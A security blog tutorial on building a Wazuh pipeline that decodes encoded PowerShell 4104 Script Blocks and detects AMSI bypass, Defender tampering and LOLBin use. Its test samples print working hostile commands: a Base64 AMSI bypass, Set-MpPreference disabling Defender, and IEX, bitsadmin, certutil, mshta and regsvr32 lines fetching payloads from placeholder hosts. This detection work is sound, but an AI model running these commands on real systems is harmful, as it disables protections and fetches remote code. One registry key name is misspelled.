AlistoIR Blog Topic

Complete Step-by-Step Guide: Decode Encoded PowerShell 4104 Script Blocks in Wazuh and Detect AMSI Bypass, Defender Tampering, and LOLBins

June 27, 2026 Β· By Oliver Roca
PowerShell attackers often hide their commands using encoded or obfuscated Script Blocks, making it difficult for analysts to understand the real intent of an attack. This blog shows how to build a PowerShell 4104 decoder pipeline in Wazuh to detect suspicious Script Block activity, decode Base64 content, and generate enriched alerts. The guide covers how to enable PowerShell Script Block Logging, configure the Wazuh agent to collect PowerShell events, deploy a custom decoder on the Wazuh manager, and create Wazuh rules for second-stage detections. These detections include AMSI bypass, Microsoft Defender tampering, Invoke-Expression with WebClient, download-and-execute behavior, and LOLBin usage such as bitsadmin, certutil, mshta, rundll32, and regsvr32.

Complete Step-by-Step Guide: Decode Encoded PowerShell 4104 Script Blocks in Wazuh and Detect AMSI Bypass, Defender Tampering, and LOLBins

PowerShell attackers rarely leave their commands in plain text. In many real intrusions, the first thing defenders see is an encoded or heavily obfuscated Script Block. If Wazuh only captures the outer layer, analysts still need to decode the payload manually to understand what really happened.

This guide shows how to build a complete PowerShell decoder pipeline in Wazuh that can:

  • detect suspicious 4104 Script Block activity
  • decode Base64 content from the Script Block text
  • write enriched decoded records into Wazuh
  • trigger high-confidence alerts for:
  • AMSI bypass
  • Microsoft Defender tampering
  • Invoke-Expression plus WebClient
  • download-and-execute chains
  • bitsadmin
  • certutil
  • mshta
  • rundll32
  • regsvr32

This is a complete step-by-step tutorial, including:

  • Windows endpoint logging
  • Windows agent ossec.conf collection
  • Wazuh manager ossec.conf snippets
  • the integration script
  • the Wazuh rules
  • the monitor service
  • validation commands
  • safe endpoint testing samples

What We Will Build

At the end of this tutorial, the flow will look like this:

    Windows endpoint
      -> PowerShell Script Block Logging (Event ID 4104)
      -> Wazuh agent collects Microsoft-Windows-PowerShell/Operational
      -> Wazuh rule 110420 catches encoded or obfuscated Script Blocks
      -> custom decoder extracts and decodes Base64 content
      -> decoded enrichment is written as JSON
      -> second-stage Wazuh rules detect specific attacker behaviors
      -> analysts see the decoded intent instead of raw encoded text

Why This Matters

Without decoding, an analyst often sees only:

$d=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...')); Write-Host $d

That tells you something is hidden, but it does not tell you what the hidden payload actually does.

With this design, Wazuh can turn that into alerts such as:

  • Decoded PowerShell contains a likely AMSI bypass technique
  • Decoded PowerShell attempts to disable or weaken Microsoft Defender protections
  • Decoded PowerShell combines Invoke-Expression with WebClient-style remote content retrieval

That is much better for triage, hunting, case building, and executive reporting.

Prerequisites

Before you start, make sure you have:

  • a working Wazuh manager
  • at least one Windows endpoint with the Wazuh agent
  • administrative access to both the endpoint and the Wazuh manager
  • PowerShell 4104 logging enabled or permission to enable it
  • a safe lab or test endpoint

This guide assumes:

  • Wazuh alerts are written to:
    /var/ossec/logs/alerts/alerts.json
- Wazuh archives are written to:
    /var/ossec/logs/archives/archives.json
  • the decoded enrichment log will be written to:
    /var/log/wazuh-powershell-decoded.json

What This Tutorial Includes

This article is written to be standalone. You do not need a separate package to follow it because the guide includes:

  • the Windows logging configuration
  • the Windows agent ossec.conf snippet
  • the Wazuh manager ossec.conf snippets
  • the monitor service file
  • the first-stage and second-stage Wazuh rules
  • safe endpoint testing samples

If you want, you can still publish a downloadable ZIP beside the article for convenience, but the reader should be able to complete the implementation from the article alone.

Step 1: Enable PowerShell Script Block Logging on the Windows Endpoint

The decoder is useless if the endpoint never generates 4104 events.

Enable PowerShell Script Block Logging through Group Policy.

Go to: (Computer\HKEYLOCALMACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging)

    Computer Configuration
      -> Registry Editor (regedit)
      -> HKEY_LOCAL_MACHINE
      -> SOFTWARE
      -> Policies
      -> Microsoft
      -> Windows
      -> PowerShell
      -> SriptBlockLogging
      -> EnableScriptBlockLogging 
      -> Value data = 1 (Set it to Enabled.)

Then confirm the endpoint is really producing 4104 events:

    Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 |
      Where-Object { $_.Id -eq 4104 } |
      Select-Object TimeCreated, Id, RecordId

If you do not see 4104, fix this before touching Wazuh.

Optional: enable logging by PowerShell command instead of Group Policy UI

If you prefer to enable the policy by script, use this corrected function:

    function Enable-PSLogging {
        $basePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell'
        $scriptBlockPath = Join-Path $basePath 'ScriptBlockLogging'
        $moduleLoggingPath = Join-Path $basePath 'ModuleLogging'
        $moduleNamesPath = Join-Path $moduleLoggingPath 'ModuleNames'

        # Create keys
        $null = New-Item -Path $scriptBlockPath -Force
        $null = New-Item -Path $moduleLoggingPath -Force
        $null = New-Item -Path $moduleNamesPath -Force

        # Enable Script Block Logging
        New-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -PropertyType DWord -Value 1 -Force | Out-Null

        # Optional: also log script block invocation start/stop
        # New-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockInvocationLogging -PropertyType DWord -Value 1 -Force | Out-Null

        # Enable Module Logging
        New-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -PropertyType DWord -Value 1 -Force | Out-Null

        # Log all modules
        New-ItemProperty -Path $moduleNamesPath -Name '*' -PropertyType String -Value '*' -Force | Out-Null

        Write-Output "PowerShell Script Block Logging and Module Logging have been enabled."
    }

    Enable-PSLogging

Important note:

  • for this Wazuh decoder pipeline, the most important setting is EnableScriptBlockLogging
  • Module Logging is optional and can add more noise
  • EnableScriptBlockInvocationLogging is also optional if you want additional execution context

You can verify the registry settings with:

    Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
    Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames'

You can verify that events are appearing with:

    Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 |
    Where-Object { $_.Id -in 4103,4104,4105,4106 } |
    Select-Object TimeCreated, Id, RecordId

Step 2: Configure the Windows Wazuh Agent to Collect the PowerShell Operational Channel

On the Windows endpoint, open the Wazuh agent config. A common path is:

    C:\Program Files (x86)\ossec-agent\ossec.conf

Add this block:

    <localfile>
      <location>Microsoft-Windows-PowerShell/Operational</location>
      <log_format>eventchannel</log_format>
    </localfile>

Restart the Wazuh agent:

    Restart-Service WazuhSvc

Then verify the service is running:

    Get-Service WazuhSvc

Step 3: Confirm the Wazuh Manager Receives Real 4104 Events

Before adding any decoder logic, verify the manager is receiving the endpoint logs.

On the manager:

    grep 'eventID":"4104"' /var/ossec/logs/archives/archives.json | tail -n 20

If the endpoint shows 4104 locally but the manager does not, the problem is usually one of these:

  • the agent is not collecting the event channel
  • the agent was not restarted after config changes
  • the wrong ossec.conf file was edited

Step 4: Deploy the Integration Script on the Wazuh Manager

Copy the integration script from the GitHub link to:

    sudo nano /var/ossec/integrations/custom-powershell-decoder

Set permissions:

    sudo chown root:wazuh /var/ossec/integrations/custom-powershell-decoder
    sudo chmod 750 /var/ossec/integrations/custom-powershell-decoder

Create the decoded output log:

    sudo touch /var/log/wazuh-powershell-decoded.json
    sudo chown wazuh:wazuh /var/log/wazuh-powershell-decoded.json
    sudo chmod 640 /var/log/wazuh-powershell-decoded.json

This script is decode-only. It does not execute the decoded PowerShell.

Its job is to:

  • read matching Wazuh alerts
  • extract scriptBlockText
  • identify Base64 candidates
  • decode nested Base64
  • handle gzip or zlib-compressed content when present
  • classify suspicious strings
  • write enrichment records as JSON

GitHub Repo link Python Script

Step 5: Add the Wazuh Manager ossec.conf Snippets

On the manager, open:

    sudo nano /var/ossec/etc/ossec.conf

Add the decoded JSON localfile block:

    <localfile>
      <log_format>json</log_format>
      <location>/var/log/wazuh-powershell-decoded.json</location>
    </localfile>

Add the integration block:

    <integration>
      <name>custom-powershell-decoder</name>
      <rule_id>91809</rule_id>
      <alert_format>json</alert_format>
    </integration>

Step 6: Add the First-Stage Wazuh Rule

Create this file on the manager:

    sudo nano /var/ossec/etc/rules/powershell_scriptblock_decoder.xml

The first-stage rule is:

    <group name="windows,powershell,scriptblock,alistoir_decoder,">

      <rule id="110420" level="8">
        <if_sid>91809</if_sid>
        <field name="win.system.eventID">4104</field>
        <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)(-enc|-encodedcommand|frombase64string|[A-Za-z0-9+/=]{80,})</field>
        <description>PowerShell ScriptBlock contains encoded or obfuscated content for decoder enrichment.</description>
        <mitre>
          <id>T1059.001</id>
          <id>T1027</id>
        </mitre>
        <group>powershell,scriptblock,encoded_content,custom_rule,</group>
      </rule>

    </group>

This rule tags suspicious encoded or obfuscated Script Blocks and feeds the decoder pipeline.

Step 7: Add the Second-Stage Detection Rules

The full rules file also contains the decoded JSON detections:

  • 110430 base enrichment record
  • 110431 high-risk summary
  • 110432 in-memory download and execute
  • 110433 Defender tampering
  • 110434 AMSI bypass
  • 110436 download then process launch
  • 110437 payload staging
  • 110438 stealthy launcher arguments
  • 110439 IEX plus WebClient
  • 110440 bitsadmin
  • 110441 certutil
  • 110442 mshta
  • 110443 rundll32
  • 110444 regsvr32

For a real deployment, paste the full rules file from the link below so you keep both the logic and the severity tuning exactly as intended.

GitHub Repo Link for Rule

Step 8: Deploy the Decoder Monitor Service

In many environments, the direct integration trigger alone is not sufficient for reliable end-to-end processing of real 110420 alerts. A monitor service that watches alerts.json is a strong fallback design.

Create this file:

    sudo nano /etc/systemd/system/powershell-decoder-monitor.service

Use this exact content:

    [Unit]
    Description=Wazuh PowerShell Decoder Monitor
    After=network.target wazuh-manager.service

    [Service]
    Type=simple
    User=wazuh
    Group=wazuh
    Environment=POWERSHELL_DECODER_STATE_FILE=/var/ossec/logs/powershell-decoder-monitor.state.json
    ExecStart=/usr/bin/python3 /var/ossec/integrations/custom-powershell-decoder --monitor
    Restart=always
    RestartSec=3

    [Install]
    WantedBy=multi-user.target

Reload systemd and enable the service:

    sudo systemctl daemon-reload
    sudo systemctl enable powershell-decoder-monitor.service
    sudo systemctl restart powershell-decoder-monitor.service
    sudo systemctl status powershell-decoder-monitor.service
    GitHub link: https://github.com/alistoirph/Wazuh-AlistoIR/blob/ff62e3ca80f8da4481eb131a5f92e3ce0aab12eb/Decode_Encoded_PowerShell_Script_Blocks_in_Wazuh/powershell-decoder-monitor.service 

Step 9: Restart Wazuh Manager

After rules and config changes:

    sudo systemctl restart wazuh-manager

Then confirm both services are healthy:

    sudo systemctl status wazuh-manager
    sudo systemctl status powershell-decoder-monitor.service

Step 10: Validate the Decoder Pipeline

Check the monitor debug log:

    tail -n 50 /var/log/wazuh-powershell-decoder-debug.log

Healthy output should look like:

    monitor process rule_id=110420 agent=AJMX-ITSEC
    decoded success depth=1 risk=medium agent=AJMX-ITSEC original_rule_id=110420

Check the decoded enrichment output:

    tail -n 20 /var/log/wazuh-powershell-decoded.json

Check first-stage alerts:

    grep '110420' /var/ossec/logs/alerts/alerts.json | tail -n 20

Check second-stage detections:

    grep -E '110433|110434|110436|110439|110440|110441|110442|110443|110444' /var/ossec/logs/alerts/alerts.json | tail -n 30

Step 11: Test Safely With Real 4104 Endpoint Samples

Do not test by launching real malicious commands on a production machine.

The safer method is:

  1. put the suspicious command into a string
  2. Base64-encode the wrapper
  3. let PowerShell decode it
  4. print the decoded string with Write-Host

That still generates a real 4104 event and allows Wazuh to inspect the decoded content, but it does not actually launch the LOLBin or remote payload.

Safe AMSI bypass sample

    $script = @'
    $d=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkA'))
    Write-Host $d
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded

Safe Defender tampering sample

    $script = @'
    $x = "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath C:\Temp"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe IEX plus WebClient

    $script = @'
    $x = "IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.10/payload.ps1')"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe Invoke-WebRequest plus Start-Process

    $script = @'
    $x = "Invoke-WebRequest 'http://198.51.100.60/payload.exe' -OutFile $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe bitsadmin

    $script = @'
    $x = "bitsadmin.exe /transfer job /download /priority normal http://198.51.100.20/payload.exe C:\Users\Public\payload.exe"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe certutil

    $script = @'
    $x = "certutil.exe -urlcache -f http://198.51.100.30/payload.bin C:\Users\Public\payload.bin"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe mshta

    $script = @'
    $x = "mshta.exe http://198.51.100.40/payload.hta"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe rundll32

    $script = @'
    $x = "rundll32.exe C:\Users\Public\evil.dll,EntryPoint"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

Safe regsvr32

    $script = @'
    $x = "regsvr32.exe /s /n /u /i:http://198.51.100.50/payload.sct scrobj.dll"
    Write-Host $x
    '@
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
    $encoded = [Convert]::ToBase64String($bytes)
    powershell.exe -NoProfile -EncodedCommand $encoded

If you prefer, you can also build a reusable one-sample-at-a-time helper script for your lab, but the samples above are already enough to validate each rule path.

Step 12: Use a Cleaner Validation Pattern

One important lesson from real testing:

Avoid running local PowerShell validation commands that contain the same suspicious strings you are testing, such as:

  • FromBase64String
  • sample Base64 blobs
  • IEX
  • Net.WebClient
  • bitsadmin
  • certutil
  • rundll32
  • regsvr32
  • mshta

Those local validation commands can create their own 4104 events and make the results confusing.

The cleaner pattern is:

  1. trigger the sample
  2. note the UTC time
  3. validate from the Wazuh manager by time window and rule ID

Step 13: Search in the Wazuh Dashboard

Useful searches:

    win.system.eventID: 4104
    rule.id: 110420
    data.integration: powershell_decoder
    rule.id: 110434
    rule.id: 110433
    rule.id: (110439 or 110440 or 110441 or 110442 or 110443 or 110444)

Reusable PowerShell Test Helper Script

If you want a cleaner lab workflow, create this helper script on the Windows endpoint:

Download the invokewazuhps4104tests.ps1 from Github Repo Link

Run the command in PowerShell (Admin):

Unblock-File "C:\Users\<USER>\Downloads\invoke_wazuh_ps4104_tests.ps1"

powershell.exe -ExecutionPolicy Bypass -File "C:\Users\<USER>\Downloads\invoke_wazuh_ps4104_tests.ps1"

Select:

Select Sample Test

Real Detections Confirmed in Live Testing

In real endpoint-to-manager testing, these detections were confirmed:

  • 110433 Defender tampering
  • 110434 AMSI bypass
  • 110436 download-and-execute
  • 110439 IEX plus WebClient
  • 110440 bitsadmin
  • 110441 certutil
  • 110442 mshta
  • 110443 rundll32
  • 110444 regsvr32

That means the full chain worked:

  • endpoint produced a real 4104
  • manager received the event
  • 110420 tagged the encoded Script Block
  • the custom decoder enriched the alert
  • Wazuh second-stage rules detected the real behavior

Result:

Test Result

Troubleshooting

If you see the original 4104 but no decoded alert:

  • confirm the Windows agent collects Microsoft-Windows-PowerShell/Operational
  • confirm the manager is receiving 4104 events
  • confirm 110420 is firing
  • confirm the decoder service is running
  • check /var/log/wazuh-powershell-decoder-debug.log
  • check /var/log/wazuh-powershell-decoded.json

If decoded enrichment exists but no second-stage rule fires:

  • inspect the exact decoded_script
  • compare the decoded text to the regex
  • run the sample through wazuh-logtest
  • confirm your second-stage rules look at decoded JSON fields, not only the original Windows event

If the alerts are too noisy:

  • keep first-stage detection broad enough to catch encoded content
  • keep second-stage detections behavior-specific
  • reserve higher severities for clearer execution or defense-evasion chains

Final Thoughts

This design upgrades Wazuh from simply noticing encoded PowerShell to actually understanding what the decoded payload is trying to do.

That is the difference between:

  • a noisy alert that says someone used Base64

and

  • a useful alert that says someone tried to bypass AMSI, weaken Defender, or retrieve payloads through a LOLBin

For SOC teams, that means faster triage, clearer investigations, better response decisions, and less manual decoding work during incidents.

References